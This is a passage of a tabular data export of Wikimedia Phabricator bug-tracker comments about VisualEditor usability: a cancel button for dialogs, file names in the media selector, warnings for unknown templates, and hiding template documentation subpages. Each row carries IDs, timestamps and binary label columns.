+A cancel button as discussed in this bug would solve this, although I think labelling it something like ""return to editing"" would be better than ""cancel"" here (which could imply discarding the edit).",,,1377683762,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+235501,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","I think a cancel button makes perfect sense from a UX point of view for dialogs.
+
+Closing would be an alias of cancel, but that's not the primary flow for a user.
+
+Closing windows is always a bit of awkward and uncertain action to take.",,,1375493049,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+235495,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","(In reply to comment #2)
+> Yes, I've seen it mentioned a couple  of times that people aren't sure what
+> state clicking the ""X"" will leave things in. Will it cancel everything
+> they've done, cancel only unfinished/unapplied changes, or close with
+> everything in its current state finished or not.
+
+* A ""rubbish bin"" icon (on lightweight inspectors, but not dialogs) is Option 1.
+* An ""X"" icon (on dialogs, but not inspectors) is Option 2.
+* The ""apply changes"" button (on dialogs, but not inspectors) is Option 3.
+
+Clearly this isn't ""obvious"" enough; we should consider what more we can do.",,,1375492557,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+235491,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","Yes, I've seen it mentioned a couple  of times that people aren't sure what state clicking the ""X"" will leave things in. Will it cancel everything they've done, cancel only unfinished/unapplied changes, or close with everything in its current state finished or not.",,,1375486468,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+235487,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","This functionality is currently provided by the ""X"" in the top-right corner (as for all dialogs). Is a duplicate button needed?",,,1375482783,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0
+54459,"In the VisualEditor media selector, show the name of each file so it can be identified","User:Wouterstomp at en.wp suggests that in the media selection dialog, the full name of an image should be shown in a tooltip when you hover over it. Either for all images or only those whose name is too long to be shown in full beneath the image.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375458480,1421466756.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-erdij6gvcjcryxt3xqjp,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+404612,"In the VisualEditor media selector, show the name of each file so it can be identified",Checked in betalabs.,,,1422573163,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+400715,"In the VisualEditor media selector, show the name of each file so it can be identified","Change 183729 merged by jenkins-bot:
+Add filename to the media dialog
+
+[[https://gerrit.wikimedia.org/r/183729]]",,,1421430202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,False,,,80,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+397066,"In the VisualEditor media selector, show the name of each file so it can be identified","Change 183729 had a related patch set uploaded (by Mooeypoo):
+Add filename to the media dialog
+
+[[https://gerrit.wikimedia.org/r/183729]]
+
+#patch-for-review",,,1420760594,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,False,,,79,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+235341,"In the VisualEditor media selector, show the name of each file so it can be identified",Or not.,,,1411746458,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,64,,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+235333,"In the VisualEditor media selector, show the name of each file so it can be identified","Since no one disagrees, I'm going to make that happen.",,,1411743607,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,64,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+235325,"In the VisualEditor media selector, show the name of each file so it can be identified","I think a better place to display the name would be in the ""Media settings"" dialog. Right now, when inserting an image, you don't even know what you're inserting (neither a file name nor a thumbnail is shown in the dialog).
+
+That would also provide a better place for the ""Choose a different image"" button, which is now awkwardly placed in the bottom-left corner.",,,1410955390,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,63,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0
+235318,"In the VisualEditor media selector, show the name of each file so it can be identified","This would be nice for desktop users, but not so good for mobile (tablet/phone) users who are using touch to navigate. Maybe something else for them, like displaying the details of the file on a page before inserting?",,,1375487540,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+54449,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","en.wp editor GermanJoe suggests that if you try to add a template not in the transclusion editor's list of known templates that it should give a warning or ""are you sure?"" message.
+
+Such a message would note that very new templates might not appear in he list.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375435380,1518444836.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-qjdwtbzzs25aurzlowwr,task_description,resolved,True,c1,3,False,False,False,4,,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+1011014,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","We now have a warning which is probably sufficient:
+{F13652706}",,,1518444836,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,241,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+234811,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","(In reply to Alex Monk from comment #2)
+> Unknown template = template with no TemplateData?
+
+(In reply to Alex Monk from comment #3)
+> Non-existent?
+
+It means ""the API didn't claim to know about it existing"". Given MediaWiki's… awkwardness about knowing whether or not a page actually exists I didn't want to assume something when I wrote it. :-)",,,1414103160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,68,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+234807,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected",See comment #1?,,,1414099109,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,False,,,68,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+234803,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected",Non-existent?,,,1414097282,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,68,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+234798,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected",Unknown template = template with no TemplateData?,,,1414096922,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,68,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+234792,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","This feels like it could be a bit irritating as a modal alert, but maybe we could come up with something as effective whilst less in-your-face.",,,1375748014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,5,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+54448,Transclusion dialog should not suggest documentation sub pages as templates,"Currently the the transclusion editor's list of templates includes /Doc and other subpages of templates that are not themselves actual templates.
+
+At https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_2#Removing_template_subpages_from_the_template_selection_list.3F there was a discussion about this which suggested possible ways forward:
+* Exclude all subpages except those explicitly marked as templates, e.g by magic word or category
+* Include all subpages except those explicitly marked as not being templates, e.g. by magic word or category
+
+See also:
+* {T52512}
+* {T58516}",Medium,50.0,1375434960,1557451094.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+1218146,Transclusion dialog should not suggest documentation sub pages as templates,"Change 483205 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] MWTemplateTitleInputWidget: Filter out templates named '…/doc'
+
+[[https://gerrit.wikimedia.org/r/483205]]",,,1548973792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,291,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+1211719,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#4888682, @Johan wrote:
+> Is this done and will be deployed next week? (It's been added to Tech News.) I can't see that in the task, but I could be missing something?
+
+Nope, sorry, code still going through review. I'll go poke it now.",,,1547752559,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,True,,,289,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+1211526,Transclusion dialog should not suggest documentation sub pages as templates,"Is this done and will be deployed next week? (It's been added to Tech News.) I can't see that in the task, but I could be missing something?",,,1547743671,,PHID-USER-go2ym6ta2zn6ofdsrqnx,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+1209667,Transclusion dialog should not suggest documentation sub pages as templates,"Thanks!
+I think it worth a Tech News post since some communities may see the difference. It is a good opportunity to highlight `templatedata-doc-subpage` too is not already known. ",,,1547561928,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1209666,Transclusion dialog should not suggest documentation sub pages as templates,I think it worth a Tech News post since some communities may see the difference. It is a good opportunity to highlight `templatedata-doc-subpage` too is not already known. ,,,1547561919,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1209018,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#4876695, @Trizek-WMF wrote:
+> @Jdforrester-WMF, how this would be deployed? How your change will identify language variants for `/doc`?
+
+It'd be a train patch. Communities already (can) define the template documentation sub-page for the TemplateData extension via the `templatedata-doc-subpage` message, and this just re-uses that, which defaults to `foo` (so if you create `Template:Foo/doc` it'll be hidden, but `Template:Foo/I have another sub-page to be confusing` won't). Not merged yet though. I don't think this'd be worth a Tech News post.",,,1547492363,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,True,,,289,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+1208622,Transclusion dialog should not suggest documentation sub pages as templates,"@Jdforrester-WMF, how this would be deployed? How your change will identify language variants for `/doc`?",,,1547460974,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+1206595,Transclusion dialog should not suggest documentation sub pages as templates,"Change 483205 had a related patch set uploaded (by Jforrester; owner: Jforrester):
+[mediawiki/extensions/VisualEditor@master] MWTemplateTitleInputWidget: Filter out templates named '…/doc'
+
+[[https://gerrit.wikimedia.org/r/483205]]",,,1547062350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,288,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+1168996,Transclusion dialog should not suggest documentation sub pages as templates,"Change 464718 **merged** by jenkins-bot:
+[mediawiki/extensions/TemplateData@master] Don't store templatedata pageprop on doc-subpage
+
+[[https://gerrit.wikimedia.org/r/464718]]",,,1540999311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,278,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1154188,Transclusion dialog should not suggest documentation sub pages as templates,"Change 464718 had a related patch set uploaded (by Krinkle; owner: Krinkle):
+[mediawiki/extensions/TemplateData@master] Don't store templatedata pageprop on doc-subpage
+
+[[https://gerrit.wikimedia.org/r/464718]]",,,1538687276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,274,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1104216,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#1991488, @maiden_taiwan wrote:
+> Suggestion: allow the wiki administrator to designate a particular subpage string, such as `doc`, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222.
+
+(This is an old comment but I think it would be helpful.) TemplateData already has a message for this in the configuration, `MediaWiki:Templatedata-doc-subpage`, so implementing solutions based on that shouldn’t be a problem.",,,1531613135,,PHID-USER-3ljmcrqixyljk2wy63jb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,262,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+1071167,Transclusion dialog should not suggest documentation sub pages as templates,"[[ https://hu.wikipedia.org/w/index.php?title=Vars%C3%A1nyi_Istv%C3%A1n&diff=prev&oldid=19944747 | An example ]]: I accidentally //{{Nemzetközi katalógusok/doc}}// instead of //{{Nemzetközi katalógusok}}//, because I was not thoughtful enough. We should find a way to avoid the problem.",,,1526835132,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,254,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+762102,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#1991488, @maiden_taiwan wrote:
+> Suggestion: allow the wiki administrator to designate a particular subpage string, such as `doc`, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222.
+
+This one could work! On pt-wiki we use ""doc"" as the documentation subpage and ""dados"" as the TemplateData. Maybe blacklisting both of them could help VisualEditor interpreting them as **not** templates to be transcluded. 
+I don't think that //""excluding all subpages except those explicitly marked as templates""// would be a good idea, because there are plenty of templates (Info/Patologia, Info/Grupo étnico, Info/Facção de conflito etc.) located on subpages.",,,1479326628,,PHID-USER-46kgwzejnrokds6ov24i,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,176,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1
+601976,Transclusion dialog should not suggest documentation sub pages as templates,"Suggestion: allow the wiki administrator to designate a particular subpage string, such as `doc`, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222.",,,1454445652,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,135,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+504665,Transclusion dialog should not suggest documentation sub pages as templates,"Another option: instead of filtering, use sorting by usage (group by on templatelinks) instead of alphabetic sorting.",,,1439039697,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,109,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+504664,Transclusion dialog should not suggest documentation sub pages as templates,I think we have simple way to filter out subpages of templates.,,,1439039410,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,109,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+455847,Transclusion dialog should not suggest documentation sub pages as templates,"> Suggested possible ways forward:
+> 
+> * Exclude all subpages except those explicitly marked as templates, e.g by magic word or category
+> * Include all subpages except those explicitly marked as not being templates, e.g. by magic word or category
+
+Neither of these options are imho maintainable or author-friendly. Alternative ideas (from T98562).
+
+> * Filter out /doc (hardcoded).
